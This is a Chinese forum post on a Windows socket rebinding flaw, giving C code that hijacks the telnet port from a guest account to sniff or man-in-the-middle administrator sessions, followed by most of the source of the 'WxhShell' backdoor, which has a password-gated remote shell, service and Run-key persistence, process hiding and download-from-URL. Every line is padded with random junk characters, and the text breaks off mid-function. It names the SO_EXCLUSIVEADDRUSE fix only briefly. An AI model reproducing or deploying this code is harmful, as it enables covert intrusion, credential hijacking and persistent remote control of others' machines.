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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Jm,X~Si  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /4BXF4ksi,  
#IA(*oM  
  saddr.sin_family = AF_INET; RWcQT`  
g' U^fN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T>o# *{q n  
W/X;|m`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U>jk`?zW  
3;gtuqwD$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2n:J7PGD  
A'R sy6  
  这意味着什么?意味着可以进行如下的攻击: #e|kA&+8M  
A0sW 9P6F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B y8Tw;aL  
FLOJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F=c_PQO  
u;1NhD<n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R6.#gb8^oS  
+34jot.!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )BrqE uX@"  
Gnq~1p5^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2b` M(QL  
  `.-C6!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5-po>1g'  
y_r6T XnGL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X*) :N]  
}#^F'%zf  
  #include {XW>:EU'N  
  #include )fr\ V."  
  #include dPX>A4wp  
  #include    IvSrJe[;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WF0>R^SpZ  
  int main() W5g!`f  
  { +:Zi(SuS]  
  WORD wVersionRequested; X;RI7{fW%X  
  DWORD ret; m <ruFxY  
  WSADATA wsaData; :HQ/vVw'"9  
  BOOL val; |{"7/~*[  
  SOCKADDR_IN saddr; !A0bbJ  
  SOCKADDR_IN scaddr; rnaDo\5  
  int err; 9?6$ 2I  
  SOCKET s; T ua @w+  
  SOCKET sc; DZZt%n8J  
  int caddsize; Z%Kj^ M  
  HANDLE mt; 8r,%!70  
  DWORD tid;   |th )Q  
  wVersionRequested = MAKEWORD( 2, 2 ); _xsYcw~)  
  err = WSAStartup( wVersionRequested, &wsaData ); :]jtV~E\  
  if ( err != 0 ) { 1nmWL0  
  printf("error!WSAStartup failed!\n"); c:TP7"vG  
  return -1; !IU*Ayg  
  } dj]N59<  
  saddr.sin_family = AF_INET; 6*Qpq7Ml  
   xb>+~59:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yp/*@8%_E  
Rw% KEUDm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z<*]h^ !3  
  saddr.sin_port = htons(23); 'M/&bu r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >fQN"(tf  
  { fXj  
  printf("error!socket failed!\n"); {}e IpK,+  
  return -1; AG2jl/  
  } c5pG?jr+d  
  val = TRUE; e)7r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x N)Ck76  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Op~+yMef  
  { (1vS)v $L  
  printf("error!setsockopt failed!\n"); #\QC%"%f  
  return -1; voEc'JET  
  } mD3#$E!A1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [8#l~ |U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Qg=~n:j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h08T Q=n  
IuD<lMeJ J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3.Kdz}  
  { Z0KA4O$eL  
  ret=GetLastError(); k9]n/  
  printf("error!bind failed!\n"); !}?]&[N=  
  return -1; ;GSj }Nq  
  } eNb =`  
  listen(s,2); -`&;3 7  
  while(1) i YkNtqn/  
  { dZ Z/(oE>  
  caddsize = sizeof(scaddr); g-36Q~`9v  
  //接受连接请求 )-gyDA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V-0Y~T  
  if(sc!=INVALID_SOCKET) va<pHSX&I@  
  { rD gl@B3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l"CONzm!  
  if(mt==NULL) |Sm/Uq(c  
  { 8qveKS]vZ  
  printf("Thread Creat Failed!\n"); zT8K})#  
  break; T8LwDqio  
  } F_`Gs8- VH  
  } iDr0_y*t  
  CloseHandle(mt); we3t,?`rk7  
  }  3@*8\  
  closesocket(s); u#<]>EtbB  
  WSACleanup(); 1)y}.y5S  
  return 0; r>\.b{wI  
  }   SbY i|V,H  
  DWORD WINAPI ClientThread(LPVOID lpParam) |EunDb[Y  
  { }dCnFZ{K3  
  SOCKET ss = (SOCKET)lpParam; '1<QK  
  SOCKET sc; }J1#UH_E  
  unsigned char buf[4096]; Tec6]  :  
  SOCKADDR_IN saddr; ?fG Y,<c  
  long num; c9V'Zd#  
  DWORD val; {1[8,Ho  
  DWORD ret; %O k.XBS)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vHmn)d1pl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b.(^CYYQ  
  saddr.sin_family = AF_INET; 7JbrIdDl|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `fXcW)  
  saddr.sin_port = htons(23); rE 8-MB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rd/!CJ@g  
  { lCXo+|$?s  
  printf("error!socket failed!\n"); 3c)xNXq m  
  return -1; } 2KuY\5\i  
  } uP:'e8  
  val = 100; f|!zjX`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7-)KTBFL  
  { ~<-i7uM  
  ret = GetLastError(); Gwe9< y  
  return -1; zKv}J  
  } }/|1"D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rnUe/HjH  
  { >K3Lww)Ln  
  ret = GetLastError(); ?]S*=6  
  return -1; 'tekne  
  } 8I%1 `V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ynhH5P|6,  
  { 5n<Efi]j  
  printf("error!socket connect failed!\n"); t+t&eg  
  closesocket(sc); HzV3O-Qz]  
  closesocket(ss); K7|BXGL8r8  
  return -1; 6;Bqu5_Cj  
  } %5b2vrg~*  
  while(1) 5K0Isuu>>  
  { 74_ji!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e([}dz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ad[-YT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xpae0vw  
  num = recv(ss,buf,4096,0); "bqB@)  
  if(num>0) bTJ7RqL  
  send(sc,buf,num,0); ;TYkJH"  
  else if(num==0) ~~&M&Fe  
  break; k 2~j:&p  
  num = recv(sc,buf,4096,0); -O\`G<s%  
  if(num>0) c(:GsoO  
  send(ss,buf,num,0); d4/ZOj+%  
  else if(num==0) #-{4F?DA]y  
  break; b$hQB090  
  } 'Q# KjY  
  closesocket(ss); ].eGsh2  
  closesocket(sc); V<b"jCXI  
  return 0 ; >5\rU[H>  
  } j:g/[_0s  
"Mth<%i  
'j|;M  
========================================================== MOXDR  
2!A/]:[F  
下边附上一个代码,,WXhSHELL d:3G4g  
{B 34^H:  
========================================================== HghNI  
~%cbp&s*/q  
#include "stdafx.h" E$gcd#rT  
(fC [Y  
#include <stdio.h> Q!c*2hI  
#include <string.h> h-V5&em"_  
#include <windows.h> I<DS07K  
#include <winsock2.h> ws@;2?%A  
#include <winsvc.h> F[LBQI`zq  
#include <urlmon.h> RX '( l  
HA| YLj?|g  
#pragma comment (lib, "Ws2_32.lib") y 2bZo'Z  
#pragma comment (lib, "urlmon.lib") YDP<  
t<rhrW75P  
#define MAX_USER   100 // 最大客户端连接数  vO 3fAB  
#define BUF_SOCK   200 // sock buffer Ef69]{E  
#define KEY_BUFF   255 // 输入 buffer ) b?HK SqI  
(V*ggii@  
#define REBOOT     0   // 重启 M^a QH/=:"  
#define SHUTDOWN   1   // 关机 Gt'%:9r  
I_4'9  
#define DEF_PORT   5000 // 监听端口 P'[w9'B  
u>}k+8~  
#define REG_LEN     16   // 注册表键长度 ^8DC W`V  
#define SVC_LEN     80   // NT服务名长度 99vm7"5hQ  
=F6J%$  
// 从dll定义API t68h$u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _&P![o)x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b2hB'!m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~b*f2UVs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V1M oW;&  
k/Z}nz   
// wxhshell配置信息 ,u/GA<'#M  
struct WSCFG { 88G Q  F  
  int ws_port;         // 监听端口 72.Z E%Ue  
  char ws_passstr[REG_LEN]; // 口令 ~!\n  
  int ws_autoins;       // 安装标记, 1=yes 0=no Iq MXd K|  
  char ws_regname[REG_LEN]; // 注册表键名 Z':}ZXy]  
  char ws_svcname[REG_LEN]; // 服务名 1s .Ose  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s#>Bwn&b)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j*xxOwf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {x  s{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ULj'DzlfH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wj /OYnMw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &jr'vS[b  
8sLp! O;f2  
}; b+,u_$@B  
qhc3 oRe  
// default Wxhshell configuration wpO-cJ!,  
struct WSCFG wscfg={DEF_PORT, zrri&QDF<  
    "xuhuanlingzhe", d?S7E q9`  
    1, SnRk` 5t  
    "Wxhshell", % [b~4,c1  
    "Wxhshell", crG+BFi  
            "WxhShell Service", Vv#|% ^0  
    "Wrsky Windows CmdShell Service", UoCFj2?C  
    "Please Input Your Password: ", s${ew.eW  
  1, s0WI93+z  
  "http://www.wrsky.com/wxhshell.exe", @#xh)"}  
  "Wxhshell.exe" A46Xei:Ow  
    }; f 0D9Mp  
_ 7X0  
// 消息定义模块 k%Jv%m}aB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mt"j< ]EW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C;QIp6"1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z7lv |m&  
char *msg_ws_ext="\n\rExit."; T_i]y4dg  
char *msg_ws_end="\n\rQuit."; fo@ 2@  
char *msg_ws_boot="\n\rReboot..."; 0 fX  
char *msg_ws_poff="\n\rShutdown..."; Yjx*hv&?  
char *msg_ws_down="\n\rSave to "; kO>F, M  
V*U{q%p(  
char *msg_ws_err="\n\rErr!"; Lj`MFZ  
char *msg_ws_ok="\n\rOK!"; 6SJ  
x8|sdZFxo  
char ExeFile[MAX_PATH]; `KgIr,Q)  
int nUser = 0; HG{r\jh  
HANDLE handles[MAX_USER]; W{B)c?G]  
int OsIsNt; ~ (I'm[  
2|8e7q:+*  
SERVICE_STATUS       serviceStatus; Hx5t![g2K!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ckG`^<  
9)}Nx>K  
// 函数声明 (pJ-_w' G  
int Install(void); )%FRBO]  
int Uninstall(void); C7:;<<"P  
int DownloadFile(char *sURL, SOCKET wsh); _Z'[-rcXWh  
int Boot(int flag); w a7)  
void HideProc(void); ] ;" blB  
int GetOsVer(void); V~([{  
int Wxhshell(SOCKET wsl); lC):$W  
void TalkWithClient(void *cs); gJz~~g'  
int CmdShell(SOCKET sock); MZ]#9/  
int StartFromService(void); SkU'JM7<95  
int StartWxhshell(LPSTR lpCmdLine); G;Jqby8d  
^UOVXRn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tj7{[3~-[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y=94<e[f"  
no ).70K  
// 数据结构和表定义 M@%$9N)gd  
SERVICE_TABLE_ENTRY DispatchTable[] = KElzYZl8  
{ 99)md   
{wscfg.ws_svcname, NTServiceMain}, 3z5w}qN] M  
{NULL, NULL} 9[31EiT  
}; 6_1v~#  
|:Q`9;  
// 自我安装 +a7J;-|  
int Install(void) rRgP/E#_  
{ ksb.]P d.  
  char svExeFile[MAX_PATH]; %+0 7>/  
  HKEY key; (nL''#Ka  
  strcpy(svExeFile,ExeFile); @'XxMO[Z!<  
~ A?  
// 如果是win9x系统,修改注册表设为自启动 w&VMb&<  
if(!OsIsNt) { cVk&Yp;[*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b9FfDDOq"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C5k\RS9  
  RegCloseKey(key); +OM`c7M:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KPW2e2{4@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :70n%3a  
  RegCloseKey(key); bUJ5j kZ)  
  return 0; 5^:N]Mp"  
    } fZ8at  
  } z;fi  
} [(Jj@HlP6T  
else { rsSE*(T t  
)}`3haG  
// 如果是NT以上系统,安装为系统服务 >d1gVBhk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VEUdw(-?s  
if (schSCManager!=0) 4Og&w]  
{ DSb/+8KT  
  SC_HANDLE schService = CreateService 'Ll,HgU;  
  ( 6h8fzqRzc  
  schSCManager, L&*/ s&>b  
  wscfg.ws_svcname, b3$aPwv  
  wscfg.ws_svcdisp, [ QHSCF5  
  SERVICE_ALL_ACCESS, kta`[%KmIZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t>]wWYy  
  SERVICE_AUTO_START, ~_|OGp_a  
  SERVICE_ERROR_NORMAL, ~ 8hAmM  
  svExeFile, o'uv5asdb  
  NULL, <Vu/6"DP  
  NULL, {Ftz4y)6  
  NULL,  +=Xgi$  
  NULL, n+Bh-aV  
  NULL fYv= yP~  
  ); gt~hUwL  
  if (schService!=0) _DlkTi5(w  
  { 4|PNsHXt  
  CloseServiceHandle(schService); %(72+B70R  
  CloseServiceHandle(schSCManager); <0?h$hf4c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  ^##tk  
  strcat(svExeFile,wscfg.ws_svcname); lL6 bIjf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dM|&Y6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7*D*nY4+  
  RegCloseKey(key); MJxTzQE  
  return 0; P8Nzz(JF  
    } XnBpL6"T`  
  } eJh4hp;x  
  CloseServiceHandle(schSCManager); _4H}OGZI  
} <X5'uve  
} \Pv_5LAo  
Ws_R S%  
return 1; qJ\tc\  
} g(9\r  
kB`t_`7f  
// 自我卸载 P[|FK(l  
int Uninstall(void) ^g[,}t:/d  
{ f(Hh(  
  HKEY key; Lbo8> L(  
G|WO  
if(!OsIsNt) { v\LcZt`}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m@qM|%(0x  
  RegDeleteValue(key,wscfg.ws_regname); Qf?5"=:#  
  RegCloseKey(key); KZK9|121  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )T4%}$(  
  RegDeleteValue(key,wscfg.ws_regname); H[K(Tt4<&  
  RegCloseKey(key); hX?rIx  
  return 0; ( Lp~:p  
  } {u/G!{N$  
} Z @:5vo  
} u!iBAr5  
else { J|ni'Hb  
*)PCPYB^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (6Ssk4  
if (schSCManager!=0) *Ey5F/N}$H  
{ !>%U8A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OI=LuWGQE1  
  if (schService!=0) 7.-g=Rcz  
  { ZjlFr(  
  if(DeleteService(schService)!=0) { :j sa.X  
  CloseServiceHandle(schService); Sk*-B@!S  
  CloseServiceHandle(schSCManager); . *9+%FN  
  return 0; @PYCl  
  } T);eYC"@  
  CloseServiceHandle(schService); pv:7kgod  
  } }]8n3&*  
  CloseServiceHandle(schSCManager); ;=&D_jGf]  
} TB=KT j  
} T?p' R  
}7`HJ>+m)H  
return 1; i&|fGX?-I  
} 1pT v6  
6CKWKc  
// 从指定url下载文件 H|E{n/g  
int DownloadFile(char *sURL, SOCKET wsh) |2!!>1k  
{ XxN=vL&m  
  HRESULT hr; Y} '8`.  
char seps[]= "/"; ?A!Lh,  
char *token; Xp(e/QB  
char *file; ;(]O*{F7k  
char myURL[MAX_PATH]; $jLJ&R=?]  
char myFILE[MAX_PATH]; A7{l60(5  
t}Z*2=DO  
strcpy(myURL,sURL); HwE1cOT  
  token=strtok(myURL,seps); r*-e~  
  while(token!=NULL) mp^;8??;  
  { @uIY+_E40g  
    file=token; lq4vX^S  
  token=strtok(NULL,seps); Lk%u(duU^  
  } #g ;][  
NPN*k].  
GetCurrentDirectory(MAX_PATH,myFILE); o6H\JCne  
strcat(myFILE, "\\"); c5>'1L  
strcat(myFILE, file); iSm5k:7  
  send(wsh,myFILE,strlen(myFILE),0); mw^Di  
send(wsh,"...",3,0); /F>\-    
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x~7_`=}rO  
  if(hr==S_OK) >DHpD?Pm!  
return 0; @<GVY))R8  
else q&eUw<(F  
return 1; M<f=xY2$v  
"8p fLI  
} D.e4S6\&  
UV?.KVD~  
// 系统电源模块 x#mZSSd  
int Boot(int flag) SC'F,!  
{ |!0R"lv'u  
  HANDLE hToken; Dy>U=(S  
  TOKEN_PRIVILEGES tkp; ^bVY&iXNu  
_}_lrg}U  
  if(OsIsNt) { ;$ot,mH?T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1wx&/ #a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MX3ss,F  
    tkp.PrivilegeCount = 1; AR<'Airi:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "IOu$?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j( *;W}*^  
if(flag==REBOOT) { z0@)@4z!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) In-W,   
  return 0; V;b^b5yZ>  
} _g%Wx?K9  
else { T>"GH M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Dxc`K?M   
  return 0; S-FoyID\H  
} >[4;K&$B  
  } myp}DI(  
  else { Y,v8eOo45S  
if(flag==REBOOT) { J6*Zy[)%&S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HvITw%`  
  return 0; N XAP=y3  
} .3(=U Q  
else { >E;&SX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /]/3)@wT  
  return 0; *^'$YVd#  
} _$OhV#LKG  
} #}^ kMD >  
Y(>]7  
return 1; {.W$<y (j7  
} e`1,jt'  
%cM2;a=2  
// win9x进程隐藏模块 X@,xwsM%tb  
void HideProc(void) SE0"25\_G  
{ '/gw`MJ  
)N{Qpbh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <{C oM  
  if ( hKernel != NULL ) 48.2_H<  
  { 8T5s6EmIOW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {FR#je  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !_+LmBd G  
    FreeLibrary(hKernel); %ZV a{Nc  
  } kcH ?l  
Z`fm;7NiVG  
return; *+p9u 1B5  
} ;SBM7fwRk  
JwzA'[tM  
// 获取操作系统版本 /rd6p{F  
int GetOsVer(void) ~rBeJZ  
{ e+"r L]  
  OSVERSIONINFO winfo; H79|%@F"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]Y|Y?  
  GetVersionEx(&winfo); 8-cB0F=j_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -9"hJ4  
  return 1; 'C6 K\E  
  else NpRT\cx3  
  return 0; aHKv*-z-  
} KZn\ iwj  
L+@RK6dq  
// 客户端句柄模块 + M2|-C  
int Wxhshell(SOCKET wsl) tzv&E0 |d  
{ =G*rfV@__V  
  SOCKET wsh; `0+zF-  
  struct sockaddr_in client; ?i*kwEj=  
  DWORD myID; %g3@m5&  
\NbMSC&H  
  while(nUser<MAX_USER) 6Lw34R  
{ WU-.lg'c'  
  int nSize=sizeof(client); kV7c\|N9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &3VR)Bxn  
  if(wsh==INVALID_SOCKET) return 1; o.5w>l!9K  
#uNQ+US0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }Vw"7  
if(handles[nUser]==0) IfoeHAWX  
  closesocket(wsh); BH0@WG7F  
else \AOVdnM:  
  nUser++; vJkY  
  } dBY,&=T4p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l -~H Y*  
C?Dztkz  
  return 0; ~ ={8b  
} VsOn j~@  
l]whL1N3  
// 关闭 socket kUAjQ>  
void CloseIt(SOCKET wsh) ]zHUF!a*  
{ x$9UHEb kM  
closesocket(wsh); *a xOen  
nUser--; H kDT14 `&  
ExitThread(0); r8XY"<  
} 50Z$3T  
=LHE_ AA  
// 客户端请求句柄 q4$zsw  
void TalkWithClient(void *cs) sHO6y0P  
{ Le"$ksu>  
nG&= $7x^  
  SOCKET wsh=(SOCKET)cs; ;5 cg<~t  
  char pwd[SVC_LEN]; t^. U<M  
  char cmd[KEY_BUFF]; c@)k#/[[b  
char chr[1]; ^w4FqdGM  
int i,j; xZt]s3?  
n{j14b'  
  while (nUser < MAX_USER) { FbQ"ZTN\;Y  
<#w0=W?  
if(wscfg.ws_passstr) { O3#4B!J$E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ aj F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I&|%Fn  
  //ZeroMemory(pwd,KEY_BUFF); K2<Q9 ,vt  
      i=0; aG QC  
  while(i<SVC_LEN) {  :0ZFbIy  
uArs[e|f  
  // 设置超时 zYfn;s%A  
  fd_set FdRead; [gFpFz|b<  
  struct timeval TimeOut; w\KO1 Ob  
  FD_ZERO(&FdRead); PgAC3%M6  
  FD_SET(wsh,&FdRead); YC4S,fY`  
  TimeOut.tv_sec=8; tUl#sqN_{  
  TimeOut.tv_usec=0; F*rU=cu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LBT{I)-K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R[5*]$(b  
A:F*Y%ZW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s=Pwkte  
  pwd=chr[0]; $-Q,@Bztq  
  if(chr[0]==0xd || chr[0]==0xa) {  q%,q"WU  
  pwd=0; v-2O{^n  
  break; vMKmHq  
  } 2'tZ9mK  
  i++; k'Fc:T8:~5  
    } B e"D0=<  
=mYY8c Yl  
  // 如果是非法用户,关闭 socket |lAu6d !  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r> 4.{\ C  
} y/rmxQtP  
1pogk0h.:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N~g @  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t8 g^W K  
hv te)  
while(1) { m/3b7c@r  
@U'I_` LL  
  ZeroMemory(cmd,KEY_BUFF); %CJgJ,pk>  
%,$/wh)<V  
      // 自动支持客户端 telnet标准   qQ[&FjTO`  
  j=0; (1gfb*L  
  while(j<KEY_BUFF) { sL]KBux  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3{ i'8  
  cmd[j]=chr[0]; l'HrU 1_7Y  
  if(chr[0]==0xa || chr[0]==0xd) { gJ cf~@s  
  cmd[j]=0; +CtsD9PA  
  break; .%;UP7g  
  } K5No6dsD  
  j++; =< j8)2  
    } B ?96d'A  
Alaq![7MDP  
  // 下载文件 (D F{l?4x-  
  if(strstr(cmd,"http://")) { Fp..Sjh 6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q:@$$}FjL  
  if(DownloadFile(cmd,wsh)) Au,xIe!t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); msOk~ZPE6\  
  else OoTMvZP[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vBAds  
  } 7H~StdL/>  
  else { i]!CH2\  
:$ j6  
    switch(cmd[0]) { #`)zD"CO  
  W-zD1q~0?  
  // 帮助 _P.+[RS@  
  case '?': { p*E_Po  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ) D:M_T2  
    break; (5rH 72g(  
  } 4tU3+e5h  
  // 安装 2i`N26On  
  case 'i': { H5uWI  
    if(Install()) 6O8'T`F[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y)o!F^  
    else I)I,{xT4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O?|opD  
    break; q\*",xZxwz  
    } 6T0[ ~@g5  
  // 卸载 9MA/nybI  
  case 'r': { v`evuJ\3  
    if(Uninstall()) eU?SLIof[{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H~JPsS;  
    else 91|=D \8aE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); is?H1V~8`$  
    break; k ]C+/  
    } :J` *@cDn  
  // 显示 wxhshell 所在路径 |uVhfD=NG  
  case 'p': { !4 `any  
    char svExeFile[MAX_PATH]; nf?;h!_7  
    strcpy(svExeFile,"\n\r"); Cp(,+ dD  
      strcat(svExeFile,ExeFile); =o]V!MW  
        send(wsh,svExeFile,strlen(svExeFile),0); fM,U|  
    break; 1"ko wp  
    } 1c_qNI;:p  
  // 重启  Ub(zwR;  
  case 'b': { a}eM ny  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5#/" 0:2  
    if(Boot(REBOOT)) 9Y&,dBj+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sI4Ql0[  
    else { 8"l9W=  
    closesocket(wsh); g &~T X  
    ExitThread(0); }3 NGMGu$  
    } ]X/1u"  
    break; (NrH)+)J!a  
    } IBm&a^  
  // 关机 :c%vl$  
  case 'd': { 1"{3v@yi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e.9oB<Etp  
